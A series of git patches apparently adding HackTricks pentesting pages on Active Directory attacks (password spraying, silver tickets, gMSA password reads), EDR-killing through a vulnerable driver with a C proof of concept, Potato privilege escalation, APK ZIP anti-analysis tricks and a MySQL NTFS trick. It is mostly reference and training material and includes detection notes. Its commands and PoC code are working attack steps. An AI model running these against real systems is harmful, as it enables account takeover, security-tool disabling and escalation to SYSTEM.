From bcb06375f68c40e2f78010064cf1b95f33d103ea Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Thu, 28 Aug 2025 18:40:37 +0000 Subject: [PATCH 01/15] Add content from: HTB Sendai: From password spray to gMSA dump, then ADCS ESC4... - Remove searchindex.js (auto-generated file) --- .../kerberos-authentication.md | 14 +++++- .../password-spraying.md | 41 +++++++++++++++- .../silver-ticket.md | 41 ++++++++++++++-- .../README.md | 47 +++++++++++++++++++ 4 files changed, 137 insertions(+), 6 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md index ec26c2475..08c88672e 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -2,9 +2,19 @@ {{#include ../../banners/hacktricks-training.md}} -**Check the amazing post from:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) +Kerberos is time-sensitive. A typical default clock skew tolerance is 5 minutes. If your attacking host clock drifts beyond this window, pre-auth and service requests will fail with KRB_AP_ERR_SKEW or similar errors. Always sync your time with the DC before Kerberos operations: -{{#include ../../banners/hacktricks-training.md}} +```bash +sudo ntpdate +``` +For a deep dive on protocol flow and abuse: +**Check the amazing post from:** [https://www.tarlogic.com/en/blog/how-kerberos-works/](https://www.tarlogic.com/en/blog/how-kerberos-works/) +## References + +- [How Kerberos Works – Tarlogic](https://www.tarlogic.com/en/blog/how-kerberos-works/) +- [HTB Sendai – 0xdf (operational notes on clock skew)](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) + +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index bd408ae7d..ea805a69a 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -103,6 +103,44 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose Invoke-SprayEmptyPassword ``` +### Identify and Take Over "Password must change at next logon" Accounts (SAMR) + +A low-noise technique is to spray a benign/empty password and catch accounts returning STATUS_PASSWORD_MUST_CHANGE, which indicates the password was forcibly expired and can be changed without knowing the old one. + +Workflow: +- Enumerate users (RID brute via SAMR) to build the target list: + +{{#ref}} +../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +{{#endref}} + +```bash +# NetExec (null/guest) + RID brute to harvest users +netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt +``` + +- Spray an empty password and keep going on hits to capture accounts that must change at next logon: + +```bash +# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results +netexec smb -u users.txt -p '' --continue-on-success +``` + +- For each hit, change the password over SAMR with NetExec’s module (no old password needed when "must change" is set): + +```bash +# Strong complexity to satisfy policy +env NEWPASS='P@ssw0rd!2025#' ; \ +netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" + +# Validate and retrieve domain password policy with the new creds +netexec smb -u -p "$NEWPASS" --pass-pol +``` + +Operational notes: +- Ensure your host clock is in sync with the DC before Kerberos-based operations: `sudo ntpdate `. +- A [+] without (Pwn3d!) in some modules (e.g., RDP/WinRM) means the creds are valid but the account lacks interactive logon rights. + ## Brute Force ```bash @@ -226,6 +264,7 @@ To use any of these tools, you need a user list and a password / a small list of - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying) +- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) -{{#include ../../banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index 5a853b9e3..25797ac8d 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -43,6 +43,42 @@ mimikatz.exe "kerberos::ptt " The CIFS service is highlighted as a common target for accessing the victim's file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries. +### Example: MSSQL service (MSSQLSvc) + Potato to SYSTEM + +If you have the NTLM hash (or AES key) of a SQL service account (e.g., sqlsvc) you can forge a TGS for the MSSQL SPN and impersonate any user to the SQL service. From there, enable xp_cmdshell to execute commands as the SQL service account. If that token has SeImpersonatePrivilege, chain a Potato to elevate to SYSTEM. + +```bash +# Forge a silver ticket for MSSQLSvc (RC4/NTLM example) +python ticketer.py -nthash -domain-sid -domain \ + -spn MSSQLSvc/:1433 administrator +export KRB5CCNAME=$PWD/administrator.ccache + +# Connect to SQL using Kerberos and run commands via xp_cmdshell +impacket-mssqlclient -k -no-pass /administrator@:1433 \ + -q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'" +``` + +- If the resulting context has SeImpersonatePrivilege (often true for service accounts), use a Potato variant to get SYSTEM: + +```bash +# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato +PrintSpoofer.exe -c "cmd /c whoami" +# or +GodPotato -cmd "cmd /c whoami" +``` + +More details on abusing MSSQL and enabling xp_cmdshell: + +{{#ref}} +abusing-ad-mssql.md +{{#endref}} + +Potato techniques overview: + +{{#ref}} +../windows-local-privilege-escalation/roguepotato-and-printspoofer.md +{{#endref}} + ## Available Services | Service Type | Service Silver Tickets | @@ -167,9 +203,8 @@ dcsync.md - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027) +- [HTB Sendai – 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) -{{#include ../../banners/hacktricks-training.md}} - - +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index edbfc69e3..bb5348b93 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -169,6 +169,47 @@ You can read this password with [**GMSAPasswordReader**](https://github.com/rvaz Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**. +### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword) + +In many environments, low-privileged users can pivot to gMSA secrets without DC compromise by abusing misconfigured object ACLs: + +- A group you can control (e.g., via GenericAll/GenericWrite) is granted `ReadGMSAPassword` over a gMSA. +- By adding yourself to that group, you inherit the right to read the gMSA’s `msDS-ManagedPassword` blob over LDAP and derive usable NTLM credentials. + +Typical workflow: + +1) Discover the path with BloodHound and mark your foothold principals as Owned. Look for edges like: + - GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA + +2) Add yourself to the intermediate group you control (example with bloodyAD): + +```bash +bloodyAD --host -d -u -p add groupMember +``` + +3) Read the gMSA managed password via LDAP and derive the NTLM hash. NetExec automates the extraction of `msDS-ManagedPassword` and conversion to NTLM: + +```bash +# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically +netexec ldap -u -p --gmsa +# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f +``` + +4) Authenticate as the gMSA using the NTLM hash (no plaintext needed). If the account is in Remote Management Users, WinRM will work directly: + +```bash +# SMB / WinRM as the gMSA using the NT hash +netexec smb -u 'mgtsvc$' -H +netexec winrm -u 'mgtsvc$' -H +``` + +Notes: +- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically. +- gMSAs are often granted local rights like WinRM; validate group membership (e.g., Remote Management Users) to plan lateral movement. +- If you only need the blob to compute the NTLM yourself, see MSDS-MANAGEDPASSWORD_BLOB structure. + + + ## LAPS The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), enables the management of local Administrator passwords. These passwords, which are **randomized**, unique, and **regularly changed**, are stored centrally in Active Directory. Access to these passwords is restricted through ACLs to authorized users. With sufficient permissions granted, the ability to read local admin passwords is provided. @@ -269,4 +310,10 @@ The SSPI will be in charge of finding the adequate protocol for two machines tha uac-user-account-control.md {{#endref}} +## References + +- [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/) +- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) +- [HTB Sendai – 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) + {{#include ../../banners/hacktricks-training.md}} From 54f93d5e3862f6d761e474274a6208752d91f392 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Thu, 28 Aug 2025 18:55:56 +0000 Subject: [PATCH 02/15] Add content from: Chasing the Silver Fox: Cat & Mouse in Kernel Shadows - Remove searchindex.js (auto-generated file) --- src/windows-hardening/av-bypass.md | 65 ++++++++++++++++++- .../README.md | 36 ++++++++++ 2 files changed, 100 insertions(+), 1 deletion(-) diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 70f6e05c5..2ed98ccac 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -715,7 +715,64 @@ Detection / Mitigation • Monitor creations of new *kernel* services and alert when a driver is loaded from a world-writable directory or not present on the allow-list. • Watch for user-mode handles to custom device objects followed by suspicious `DeviceIoControl` calls. -### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching +### Silver Fox BYOVD: WatchDog amsdk.sys/wamsdk.sys (Zemana SDK) on Win10/11 + +A real-world APT campaign (“Silver Fox”) abused a signed but vulnerable antimalware driver to reliably kill EDR/AV (including PP/PPL) and sometimes elevate privileges on fully patched Windows 10/11. + +Key points +- Driver: WatchDog Anti‑Malware amsdk.sys v1.0.600 (Microsoft-signed). Internals show Zemana SDK reuse (PDB path: zam64.pdb). Loadable on modern Windows where blocklists didn’t yet include it. +- Legacy path: Older variants used ZAM.exe (legacy Zemana) on Win7-era systems. +- Post-patch: Vendor released wamsdk.sys v1.1.100. It fixed LPE by tightening device security but still allowed arbitrary termination of processes, including PP/PPL. + +Root cause (amsdk.sys v1.0.600) +- The device object is created via IoCreateDeviceSecure with a strong SDDL: D:P(A;;GA;;;SY)(A;;GA;;;BA) but DeviceCharacteristics omits FILE_DEVICE_SECURE_OPEN. +- Without FILE_DEVICE_SECURE_OPEN, the secure DACL does not protect opens via the device namespace. Any user can open a handle by using a path with an extra component such as \\ .\\amsdk\\anyfile. Windows resolves it to the device object and returns a handle, bypassing the intended ACL. + +Powerful IOCTLs exposed +- 0x80002010 – IOCTL_REGISTER_PROCESS: Register the caller. +- 0x80002048 – IOCTL_TERMINATE_PROCESS: Terminates arbitrary PIDs, including PP/PPL (the driver only avoids critical system PIDs to prevent bugchecks). +- 0x8000204C – IOCTL_OPEN_PROCESS: Returns full-access handles to target processes (LPE/token‑theft pivot). +- 0x80002014 / 0x80002018 – Raw disk read/write (stealth tampering possible). + +Minimal PoC to terminate PP/PPL via user mode +```c +#define IOCTL_REGISTER_PROCESS 0x80002010 +#define IOCTL_TERMINATE_PROCESS 0x80002048 + +int main() { + DWORD pidRegister = GetCurrentProcessId(); + DWORD pidTerminate = /* target PID */; + HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); + DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &pidRegister, sizeof(pidRegister), 0, 0, 0, 0); + DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &pidTerminate, sizeof(pidTerminate), 0, 0, 0, 0); + return 0; +} +``` + +Local privilege escalation pivot +- Because any user can open the device, IOCTL_OPEN_PROCESS can hand out full-access handles to privileged processes. From there you can DuplicateTokenEx/CreateProcessAsUser to jump to SYSTEM. Raw disk I/O IOCTLs can also be abused for stealthy boot/config tampering. + +Patch and adversary response +- Fix guidance: set FILE_DEVICE_SECURE_OPEN at device creation and add PP/PPL checks to block protected process termination. +- Vendor patch (wamsdk.sys v1.1.100): Enforced secure opens (closing the LPE) but still allowed arbitrary termination (no PP/PPL level checks). +- Signature evasion: Actors flipped a single byte in the unauthenticated RFC 3161 countersignature inside the WIN_CERTIFICATE. Result: the Microsoft Authenticode chain remains valid, but the file’s SHA‑256 changes, defeating hash‑based driver blocklists. + +Operational tradecraft observed (loader) +- Single EXE bundles the vulnerable driver(s) and a downloader module. On modern OS, amsdk.sys loads; on legacy OS, ZAM.exe path is used. The loader persists via services (e.g., Amsdk_Service kernel driver; a misspelled Termaintor service) and drops under C:\\Program Files\\RunTime. +- EDR killer logic: open amsdk device; for each process name in a Base64 list (~192 entries), issue IOCTL_REGISTER_PROCESS → IOCTL_TERMINATE_PROCESS. + +Detection ideas +- Monitor creation/start of kernel driver services backed by unusual paths and registry-driven NtLoadDriver flows creating Amsdk_Service; look for user-mode opens of \\.\\amsdk* followed by DeviceIoControl 0x80002010 → 0x80002048. +- Hunt for the suspicious service name "Termaintor" and drops under C:\\Program Files\\RunTime. +- Keep Microsoft’s vulnerable-driver blocklist current and augment with allow/deny lists (WDAC/HVCI/Smart App Control). Track use of new hashes on known signed binaries to catch countersignature tampering. + +References and tooling +- LOLDrivers: https://github.com/magicsword-io/LOLDrivers +- Microsoft Vulnerable Driver Blocklist: https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules +- Terminator (Zemana BYOVD PoC): https://github.com/ZeroMemoryEx/Terminator +- CPR writeup with IOCTLs/PoCs/IOCs: https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/ + + Zscaler’s **Client Connector** applies device-posture rules locally and relies on Windows RPC to communicate the results to other components. Two weak design choices make a full bypass possible: @@ -840,4 +897,10 @@ References for PPL and tooling - [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) - [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html) +- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) +- [LOLDrivers](https://github.com/magicsword-io/LOLDrivers) +- [Microsoft – Vulnerable Driver Blocklist](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) +- [Terminator – Zemana BYOVD PoC](https://github.com/ZeroMemoryEx/Terminator) +- [Watchdog Anti‑Malware (product page)](https://watchdog.com/solutions/anti-malware/) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index e4b6606db..df8e81ebf 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -739,6 +739,40 @@ If a driver exposes an arbitrary kernel read/write primitive (common in poorly d arbitrary-kernel-rw-token-theft.md {{#endref}} +#### Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill) + +Some signed third‑party drivers create their device object with a strong SDDL via IoCreateDeviceSecure but forget to set FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics. Without this flag, the secure DACL is not enforced when the device is opened through a path containing an extra component, letting any unprivileged user obtain a handle by using a namespace path like: + +- \\ .\\DeviceName\\anything +- \\ .\\amsdk\\anyfile (from a real-world case) + +Once a user can open the device, privileged IOCTLs exposed by the driver can be abused for LPE and tampering. Example capabilities observed in the wild: +- Return full-access handles to arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser). +- Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks). +- Terminate arbitrary processes, including Protected Process/Light (PP/PPL), allowing AV/EDR kill from user land via kernel. + +Minimal PoC pattern (user mode): +```c +// Example based on a vulnerable antimalware driver +#define IOCTL_REGISTER_PROCESS 0x80002010 +#define IOCTL_TERMINATE_PROCESS 0x80002048 + +HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); +DWORD me = GetCurrentProcessId(); +DWORD target = /* PID to kill or open */; +DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); +DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); +``` + +Mitigations for developers +- Always set FILE_DEVICE_SECURE_OPEN when creating device objects intended to be restricted by a DACL. +- Validate caller context for privileged operations. Add PP/PPL checks before allowing process termination or handle returns. +- Constrain IOCTLs (access masks, METHOD_*, input validation) and consider brokered models instead of direct kernel privileges. + +Detection ideas for defenders +- Monitor user-mode opens of suspicious device names (e.g., \\ .\\amsdk*) and specific IOCTL sequences indicative of abuse. +- Enforce Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) and maintain your own allow/deny lists. + ## PATH DLL Hijacking @@ -1839,4 +1873,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) + {{#include ../../banners/hacktricks-training.md}} From accdacb8324164db5d0b3291c3c422f290fcc5ff Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Fri, 29 Aug 2025 01:29:34 +0000 Subject: [PATCH 03/15] Add content from: Research Update: Enhanced src/windows-hardening/windows-loca... - Remove searchindex.js (auto-generated file) --- .../juicypotato.md | 36 ++++++++++++++++--- 1 file changed, 31 insertions(+), 5 deletions(-) diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 6199a1210..f4a74e4b7 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. _**Check:**_ +> [!WARNING] > JuicyPotato is legacy. It generally works on Windows versions up to Windows 10 1803 / Windows Server 2016. Microsoft changes shipped starting in Windows 10 1809 / Server 2019 broke the original technique. For those builds and newer, consider modern alternatives such as PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato and others. See the page below for up-to-date options and usage. {{#ref}} @@ -15,6 +15,11 @@ _A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/Rotten #### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) +### Compatibility quick notes + +- Works reliably up to Windows 10 1803 and Windows Server 2016 when the current context has SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege. +- Broken by Microsoft hardening in Windows 10 1809 / Windows Server 2019 and later. Prefer the alternatives linked above for those builds. + ### Summary [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** @@ -81,6 +86,29 @@ The actual solution is to protect sensitive accounts and applications which run From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) +## JuicyPotatoNG (2022+) + +JuicyPotatoNG re-introduces a JuicyPotato-style local privilege escalation on modern Windows by combining: +- DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old hardcoded 127.0.0.1:6666 listener. +- An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present. +- Tricks to satisfy DCOM activation constraints (e.g., the former INTERACTIVE-group requirement when targeting PrintNotify / ActiveX Installer Service classes). + +Important notes (evolving behavior across builds): +- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”. +- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post. + +Basic usage (more flags in the help): + +``` +JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" +# Useful helpers: +# -b Bruteforce all CLSIDs (testing only; spawns many processes) +# -s Scan for a COM port not filtered by Windows Defender Firewall +# -i Interactive console (only with CreateProcessAsUser) +``` + +If you’re targeting Windows 10 1809 / Server 2019 where classic JuicyPotato is patched, prefer the alternatives linked at the top (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG may be situational depending on build and service state. + ## Examples Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try. @@ -114,10 +142,7 @@ c:\Users\Public> Oftentimes, the default CLSID that JuicyPotato uses **doesn't work** and the exploit fails. Usually, it takes multiple attempts to find a **working CLSID**. To get a list of CLSIDs to try for a specific operating system, you should visit this page: - -{{#ref}} -https://ohpe.it/juicy-potato/CLSID/ -{{#endref}} +- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/) ### **Checking CLSIDs** @@ -132,5 +157,6 @@ Then download [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master ## References - [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md) +- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/) {{#include ../../banners/hacktricks-training.md}} From f171872f7a6aad31676fa90915f30dcce5785ea0 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Fri, 29 Aug 2025 18:34:18 +0000 Subject: [PATCH 04/15] Add content from: GodFather - Part 1 - A multistage dropper - Remove searchindex.js (auto-generated file) --- .../zips-tricks.md | 165 +++++++++++++++++- 1 file changed, 161 insertions(+), 4 deletions(-) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index 0dacaa3c0..c510af153 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -14,11 +14,168 @@ The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestud It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. +--- + +## Anti-reversing tricks in APKs using manipulated ZIP headers + +Modern Android malware droppers use malformed ZIP metadata to break static tools (jadx/apktool/unzip) while keeping the APK installable on-device. The most common tricks are: + +- Fake encryption by setting the ZIP General Purpose Bit Flag (GPBF) bit 0 +- Abusing large/custom Extra fields to confuse parsers +- File/directory name collisions to hide real artifacts (e.g., a directory named `classes.dex/` next to the real `classes.dex`) + +### 1) Fake encryption (GPBF bit 0 set) without real crypto + +Symptoms: +- `jadx-gui` fails with errors like: + + ``` + java.util.zip.ZipException: invalid CEN header (encrypted entry) + ``` +- `unzip` prompts for a password for core APK files even though a valid APK cannot have encrypted `classes*.dex`, `resources.arsc`, or `AndroidManifest.xml`: + + ```bash + unzip sample.apk + [sample.apk] classes3.dex password: + skipping: classes3.dex incorrect password + skipping: AndroidManifest.xml/res/vhpng-xhdpi/mxirm.png incorrect password + skipping: resources.arsc/res/domeo/eqmvo.xml incorrect password + skipping: classes2.dex incorrect password + ``` + +Detection with zipdetails: + +```bash +zipdetails -v sample.apk | less +``` + +Look at the General Purpose Bit Flag for local and central headers. A telltale value is bit 0 set (Encryption) even for core entries: + +``` +Extract Zip Spec 2D '4.5' +General Purpose Flag 0A09 + [Bit 0] 1 'Encryption' + [Bits 1-2] 1 'Maximum Compression' + [Bit 3] 1 'Streamed' + [Bit 11] 1 'Language Encoding' +``` + +Heuristic: If an APK installs and runs on-device but core entries appear "encrypted" to tools, the GPBF was tampered with. + +Fix by clearing GPBF bit 0 in both Local File Headers (LFH) and Central Directory (CD) entries. Minimal byte-patcher: + +```python +# gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers +import struct, sys + +SIG_LFH = b"\x50\x4b\x03\x04" # Local File Header +SIG_CDH = b"\x50\x4b\x01\x02" # Central Directory Header + +def patch_flags(buf: bytes, sig: bytes, flag_off: int): + out = bytearray(buf) + i = 0 + patched = 0 + while True: + i = out.find(sig, i) + if i == -1: + break + flags, = struct.unpack_from(' 1: + print('COLLISION', base, '->', variants) +``` + +Blue-team detection ideas: +- Flag APKs whose local headers mark encryption (GPBF bit 0 = 1) yet install/run. +- Flag large/unknown Extra fields on core entries (look for markers like `JADXBLOCK`). +- Flag path-collisions (`X` and `X/`) specifically for `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`. + +--- + ## References - [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/) +- [GodFather – Part 1 – A multistage dropper (APK ZIP anti-reversing)](https://shindan.io/blog/godfather-part-1-a-multistage-dropper) +- [zipdetails (Archive::Zip script)](https://metacpan.org/pod/distribution/Archive-Zip/scripts/zipdetails) +- [ZIP File Format Specification (PKWARE APPNOTE.TXT)](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) -{{#include ../../../banners/hacktricks-training.md}} - - - +{{#include ../../../banners/hacktricks-training.md}} \ No newline at end of file From 85fa2a0dee8dc487e0141e5186f561b39f8a64e5 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sat, 30 Aug 2025 12:47:45 +0000 Subject: [PATCH 05/15] =?UTF-8?q?Add=20content=20from:=20The=20Art=20of=20?= =?UTF-8?q?PHP:=20CTF=E2=80=91born=20exploits=20and=20techniques?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Remove searchindex.js (auto-generated file) --- .../pentesting-mysql.md | 12 + ...object-creation-new-usd_get-a-usd_get-b.md | 33 +- .../README.md | 22 + src/pentesting-web/deserialization/README.md | 493 +++++++++++++++++- src/pentesting-web/file-inclusion/README.md | 1 + .../file-inclusion/lfi2rce-via-php-filters.md | 1 + src/pentesting-web/file-upload/README.md | 5 + src/windows-hardening/av-bypass.md | 56 +- 8 files changed, 573 insertions(+), 50 deletions(-) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 25723f9ad..b7704bfe3 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -289,6 +289,17 @@ SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` +#### Windows tip: create directories with NTFS ADS from SQL + +On NTFS you can coerce directory creation using an alternate data stream even when only a file write primitive exists. If the classic UDF chain expects a `plugin` directory but it doesn’t exist and `@@plugin_dir` is unknown or locked down, you can create it first with `::$INDEX_ALLOCATION`: + +```sql +SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; +-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory +``` + +This turns limited `SELECT ... INTO OUTFILE` into a more complete primitive on Windows stacks by bootstrapping the folder structure needed for UDF drops. + ### Extracting MySQL credentials from files Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint** @@ -749,6 +760,7 @@ john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) - [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 